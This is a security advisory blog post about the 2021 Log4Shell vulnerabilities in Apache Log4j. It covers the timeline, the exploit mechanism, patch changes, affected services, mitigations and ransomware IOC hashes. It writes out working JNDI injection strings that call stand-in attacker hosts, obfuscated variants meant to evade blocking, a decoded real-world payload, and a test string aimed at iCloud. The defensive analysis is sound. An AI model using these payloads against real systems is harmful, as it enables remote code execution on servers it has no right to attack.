On December 9th, 2021, a critical vulnerability in Java based logging package “Log4j” was disclosed and rated a CVSS score of 10.0 with the ID CVE-2021-44228. This is a remote code execution vulnerability in log4j when a specially crafted string is passed to the logger service. 

Timeline of events 

6th December 2021 : Apache Log4j released 2.15.0 version by patching Log4j vulnerability

9th December 2021 : PoC for RCE in Log4j was published on github and was made public on twitter

11th December 2021 : Khonsari ransomware found in the wild exploiting Log4j vulnerability

13th December 2021 : Apache Log4j releases version 2.16.0 to fix Log4j completely by disabling lookups via JNDI (Java Naming and Directory Interface) 

What is Log4j?

• Log4j is a popular Java based logging library and is a part of Apache logging services
• An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
• In the past, Log4j Version 1 was also vulnerable to an insecure de-serialization vulnerability that resulted in remote code execution when untrusted data is passed to the SocketServer class while listening for log data (CVE-2019-17571)

Let’s Dive Deep

Exploitation of this vulnerability goes like this:

• Crafted data from user will be sent to the server (via HTTP, TCP, UDP protocol) 
  • ${jndi:ldap://evilserver.com/payload}
• Server logs this data and our payload gets triggered due to the Log4j vulnerability
• Server then sends a request to evilserver.com via JNDI service
• When the response is a path to a remote Java class, the Java class gets injected into server process and executes malicious code in that class thus resulting in a remote code execution

There are numerous ways to smuggle the payload. Some of the headers are 

• User-Agent
• Client-IP
• Cookie
• Referrer
• Authorization 

Thanks to Java, attackers can exploit the vulnerability via RMI (Remote Method Invocation) alongside LDAP, COS (Common Object Service)  and DNS to lookup and load remote objects.

Obfuscation

It’s an easy way to evade detection and exploit unpatched services, let’s look at different types of payload we are seeing in the wild. 

• Clear text payload
• Varying base64 payload
• Changing protocol
• Obfuscating ‘JNDI’ with lower and upper command

Some of the obfuscated payloads looks like as follows :

• ${jndi:ldap://evil.com/base64payload}
• ${jndi:${lower:l}${lower:d}a${lower:p}://evil.com/base64payload}
• ${${lower:jn}di:ldap://evil.com/base64payload}
• ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:dn}${lower:s}}://evil.com/base64payload}

Any many more combinations like these makes the obfuscated payloads a challenge to block.

Patch Diff

CVE-2021-44228

• Usage of JNDI lookup was made to be enabled explicitly
• Limit the protocols JNDI uses by default
• Limiting the servers and classes that can be accessed via LDAP
• Hosts other than localhosts need to be explicitly allowed

CVE-2021-45046

A new vulnerability was found in Log4j that is an extension of the CVE-2021-44228. Disabling Log4j2.formatMsgNoLookups only disables message lookups but doesn’t fully fix the previous vulnerability. In a Non-Default configuration scenario, Pattern Layout with a context lookup where attackers can craft malicious input data using JNDI lookup pattern results in sensitive information leak like AWS credentials and other such environment variables and may also result in remote code execution. 

Mitigation applied for CVE-2021-44228 will not fix this as this is a context lookup. Ex : $${ctx:loginId}

Here is a good example to understand how it looks like :

Payload : ${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}3.5.30:44${::-3}/${::-o}=${::-t}omca${::-t}}

Decoded : 

${jndi:ldap://159.223.5.30:443/o=tomcat} 

• To mitigate this Message lookups feature is completely removed
• Disable access to JNDI by default 

You can check if your service is vulnerable for the Log4j 2 vulnerability by replacing evil.com with “www.dnslog.cn” . This is a test site to check whether the JNDI lookup is hitting the attacker’s server or not.

A similar exercise can be done on your iPhone as well, as apple iCloud services too are vulnerable to this. Generate a subdomain from dnslog.cn and change your name to “${jndi:ldap://somesubdomain.dnslog.cn/payload}” on your iPhone.

(Note: dnslog.cn is a test site controlled by third-party individuals, one can set up one’s own similar server for testing)

Greynoise has identified numerous attempts for RCE via Log4j in their telemetry. Below are the stats.

Here is an infographic from Switzerland CERT that clearly depicts the attack and mitigations at different levels.

Impact 

• Versions less than 2.16.0 are vulnerable for this vulnerability. (Log4j < 2.16.0)
• Fortunately, versions beginning 1 are not vulnerable for this log shell vulnerability but, they are vulnerable to the earlier insecure de-serialization vulnerability (CVE-2019-17571) which can also result in RCE, so downgrading is not advisable
• This vulnerability is being exploited in the wild. Attempts of coin mining and Cobalt Strike beaconing were found in post-exploitation artefacts
• Some of the vulnerable services/components are:

• Apple iCloud services
• Steam
• Twitter
• Cloudflare
• Amazon
• Tesla
• Apache struts2
• Minecraft
• Ghidra
• VMware
• Linkedin

A few more vulnerable applications found so far are listed here.

The extent of exploitation of this vulnerability in cybersecurity is yet to unfold as the scope of this vulnerability is platform independent, and the attackers would be racing against time to find applications running the log4j 2 library.

Mitigation

• Install latest versions for Apache and Ghidra
  • https://logging.apache.org/log4j/2.x/download.html
  • https://github.com/NationalSecurityAgency/ghidra/releases
• For any third party / cloud services that are vulnerable to this vulnerability, we advise you to use any standard network security product or an AV to block exploitation attempts from or to your computer
• For services that are running with Log4j v2.10 or above, set the property “log4j2.formatMsgNoLookups=true” and also set the environment variable “LOG4J_FORMAT_MSG_NO_LOOKUPS=true” to avoid looking up malicious LDAP servers
• Remove the “JndiLookup” class to avoid looking up via JNDI entirely:

“zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”

Further Reading

• https://www.govcert.admin.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
• https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
• https://www.lunasec.io/docs/blog/log4j-zero-day/
• https://github.com/YfryTchsGD/Log4jAttackSurface
• https://rules.emergingthreatspro.com/open/snort-2.9.0/emerging-all.rules
• https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20Log4j%20RCE%20Attempt%22
• https://twitter.com/chvancooten/status/1469340927923826691
• https://twitter.com/bad_packets/status/1471695139307339776

Indicators of Compromise (IOCs)

• Khonsari Ransomware exploiting Log4j – f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789 
• Malicious java class exploited in the wild – 82444084da0460b71a625154ca0bc815d7920137bbdb3463ee174b8efb234637

Updates

Original Publication Date: 14th December, 2021

Update Date: 17th December, 2021